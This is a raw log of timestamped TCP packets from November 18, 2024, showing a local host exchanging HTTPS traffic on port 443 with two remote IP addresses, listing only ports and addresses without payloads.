Nov 18, 2024 05:57:40.004131079 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.047333002 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.062608004 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.063061953 CET	60378	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.063072920 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.063391924 CET	60378	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.063396931 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.194516897 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.194598913 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.194705009 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.194803953 CET	60378	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.194832087 CET	60378	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.195139885 CET	60378	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.195158005 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.195183992 CET	60378	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.195188999 CET	443	60378	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.198743105 CET	60383	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.198796034 CET	443	60383	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.198890924 CET	60383	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.199127913 CET	60383	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.199147940 CET	443	60383	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.360358000 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.360455990 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.360476017 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.360652924 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.360652924 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.360668898 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.360724926 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.360980034 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.361038923 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.361046076 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.366507053 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.366519928 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.366545916 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.366689920 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.366718054 CET	443	60374	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.366780043 CET	60374	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.471920967 CET	443	60379	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.476049900 CET	60379	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.476063967 CET	443	60379	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.476454020 CET	60379	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.476458073 CET	443	60379	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.509428024 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.509529114 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.509656906 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.510118961 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:40.510158062 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:40.568943024 CET	443	60380	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.569574118 CET	60380	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.569637060 CET	443	60380	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.569859028 CET	60380	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.569874048 CET	443	60380	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.600671053 CET	443	60379	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.600738049 CET	443	60379	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.600938082 CET	60379	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.601020098 CET	60379	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.601035118 CET	443	60379	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.601046085 CET	60379	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.601052046 CET	443	60379	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.604332924 CET	60385	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.604422092 CET	443	60385	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.604553938 CET	60385	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.604741096 CET	60385	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.604777098 CET	443	60385	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.697686911 CET	443	60380	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.697761059 CET	443	60380	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.698013067 CET	60380	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.698106050 CET	60380	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.698106050 CET	60380	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.698152065 CET	443	60380	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.698183060 CET	443	60380	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.700984955 CET	60386	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.701077938 CET	443	60386	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.701220036 CET	60386	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.701462984 CET	60386	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.701513052 CET	443	60386	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.742455959 CET	443	60381	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.743232965 CET	443	60382	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.743474007 CET	60381	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.743491888 CET	443	60381	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.743864059 CET	60381	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.743869066 CET	443	60381	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.744373083 CET	60382	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.744461060 CET	443	60382	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.744738102 CET	60382	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.744752884 CET	443	60382	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.875169992 CET	443	60382	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.875509977 CET	443	60382	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.875691891 CET	60382	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.875785112 CET	60382	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.875786066 CET	60382	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.875832081 CET	443	60382	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.875873089 CET	443	60382	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.878532887 CET	443	60381	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.878602028 CET	443	60381	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.878739119 CET	60381	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.879509926 CET	60381	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.879524946 CET	443	60381	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.882302999 CET	60387	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.882339954 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.882502079 CET	60388	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.882539988 CET	443	60388	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.882546902 CET	60387	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.882613897 CET	60388	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.882811069 CET	60387	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.882831097 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.882846117 CET	60388	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.882865906 CET	443	60388	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.931706905 CET	443	60383	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.932193041 CET	60383	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.932214975 CET	443	60383	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:40.932604074 CET	60383	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:40.932609081 CET	443	60383	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.061980009 CET	443	60383	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.062068939 CET	443	60383	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.062176943 CET	60383	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.062342882 CET	60383	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.062359095 CET	443	60383	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.062369108 CET	60383	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.062374115 CET	443	60383	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.065057039 CET	60389	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.065099001 CET	443	60389	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.065196037 CET	60389	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.065340042 CET	60389	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.065351963 CET	443	60389	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.337505102 CET	443	60385	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.338069916 CET	60385	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.338133097 CET	443	60385	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.338687897 CET	60385	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.338701963 CET	443	60385	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.433540106 CET	443	60386	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.434113979 CET	60386	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.434175014 CET	443	60386	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.434720993 CET	60386	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.434735060 CET	443	60386	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.467912912 CET	443	60385	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.467993021 CET	443	60385	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.468780994 CET	60385	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.469024897 CET	60385	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.469042063 CET	443	60385	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.469053984 CET	60385	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.469058990 CET	443	60385	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.474221945 CET	60390	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.474323034 CET	443	60390	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.474435091 CET	60390	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.474603891 CET	60390	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.474637985 CET	443	60390	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.561460018 CET	443	60386	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.561558962 CET	443	60386	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.561635971 CET	60386	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.561800003 CET	60386	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.561851978 CET	443	60386	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.561886072 CET	60386	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.561902046 CET	443	60386	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.565103054 CET	60391	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.565146923 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.565347910 CET	60391	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.565562010 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:41.565596104 CET	60391	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.565604925 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.565649033 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:41.567018032 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:41.567063093 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:41.567334890 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:41.568268061 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:41.598584890 CET	443	60388	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.599100113 CET	60388	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.599128008 CET	443	60388	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.599608898 CET	60388	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.599621058 CET	443	60388	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.611341953 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:41.616077900 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.616585016 CET	60387	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.616614103 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.617146015 CET	60387	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.617161036 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.735162020 CET	443	60388	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.735347986 CET	443	60388	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.735460043 CET	60388	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.735539913 CET	60388	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.735539913 CET	60388	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.735577106 CET	443	60388	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.735658884 CET	443	60388	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.738267899 CET	60392	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.738306999 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.738363981 CET	60392	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.738493919 CET	60392	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.738507986 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.744993925 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.745028019 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.745069027 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.745142937 CET	60387	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.745348930 CET	60387	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.745394945 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.745424032 CET	60387	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.745439053 CET	443	60387	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.747992039 CET	60393	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.748032093 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.748097897 CET	60393	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.748215914 CET	60393	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.748226881 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.810744047 CET	443	60389	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.815150023 CET	60389	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.815174103 CET	443	60389	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.815498114 CET	60389	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.815502882 CET	443	60389	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.919078112 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:41.919111013 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:41.919126987 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:41.919344902 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:41.919414043 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:41.919487953 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:41.942183018 CET	443	60389	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.942271948 CET	443	60389	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.942555904 CET	60389	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.942555904 CET	60389	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.942555904 CET	60389	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.945092916 CET	60394	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.945128918 CET	443	60394	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:41.945198059 CET	60394	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.945355892 CET	60394	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:41.945363998 CET	443	60394	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.034286022 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:42.034332991 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:42.034354925 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:42.034384966 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:42.034401894 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:42.034511089 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:42.034523964 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:42.034534931 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:42.034665108 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:42.034693956 CET	443	60384	4.245.163.56	192.168.2.6
Nov 18, 2024 05:57:42.034737110 CET	60384	443	192.168.2.6	4.245.163.56
Nov 18, 2024 05:57:42.164295912 CET	60389	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.164324045 CET	443	60389	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.219739914 CET	443	60390	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.220223904 CET	60390	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.220252991 CET	443	60390	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.220818043 CET	60390	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.220823050 CET	443	60390	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.307600021 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.308007002 CET	60391	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.308031082 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.308506012 CET	60391	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.308511019 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.349509954 CET	443	60390	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.349637032 CET	443	60390	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.349877119 CET	60390	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.349877119 CET	60390	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.349877119 CET	60390	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.352185011 CET	60395	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.352215052 CET	443	60395	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.352283955 CET	60395	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.352379084 CET	60395	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.352390051 CET	443	60395	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.439562082 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.439582109 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.439626932 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.439651012 CET	60391	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.439795971 CET	60391	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.439853907 CET	60391	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.439872026 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.439882994 CET	60391	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.439888000 CET	443	60391	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.442154884 CET	60396	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.442192078 CET	443	60396	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.442262888 CET	60396	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.442411900 CET	60396	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.442425966 CET	443	60396	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.476511955 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.477072954 CET	60393	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.477088928 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.477399111 CET	60393	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.477402925 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.479357004 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.482876062 CET	60392	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.482893944 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.483237028 CET	60392	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.483241081 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.611527920 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.611601114 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.611671925 CET	60393	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.611684084 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.611723900 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.611766100 CET	60393	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.611875057 CET	60393	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.611887932 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.611927032 CET	60393	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.611932039 CET	443	60393	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.614434958 CET	60397	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.614470005 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.614615917 CET	60397	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.614787102 CET	60397	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.614801884 CET	443	60397	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.635101080 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.635173082 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.635298014 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.635324001 CET	60392	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.635344982 CET	60392	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.635473013 CET	60392	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.635487080 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.635495901 CET	60392	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.635500908 CET	443	60392	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.637603045 CET	60398	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.637655020 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.637713909 CET	60398	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.637847900 CET	60398	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.637870073 CET	443	60398	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.664294004 CET	60390	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.664320946 CET	443	60390	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.735327005 CET	443	60394	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.735855103 CET	60394	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.735865116 CET	443	60394	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.736366034 CET	60394	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.736368895 CET	443	60394	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.864077091 CET	443	60394	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.864171028 CET	443	60394	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.864294052 CET	60394	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.864613056 CET	60394	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.864636898 CET	443	60394	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.864646912 CET	60394	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.864651918 CET	443	60394	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.867716074 CET	60399	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.867758989 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:42.867832899 CET	60399	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.867990971 CET	60399	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:42.868006945 CET	443	60399	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.078318119 CET	443	60395	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.079125881 CET	60395	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.079159975 CET	443	60395	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.079490900 CET	60395	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.079497099 CET	443	60395	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.160176039 CET	443	60396	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.163126945 CET	60396	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.163160086 CET	443	60396	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.163563967 CET	60396	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:43.163572073 CET	443	60396	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.209109068 CET	443	60395	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.209141016 CET	443	60395	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:43.209186077 CET	443	60395	13.107.246.45	192.168.2.6
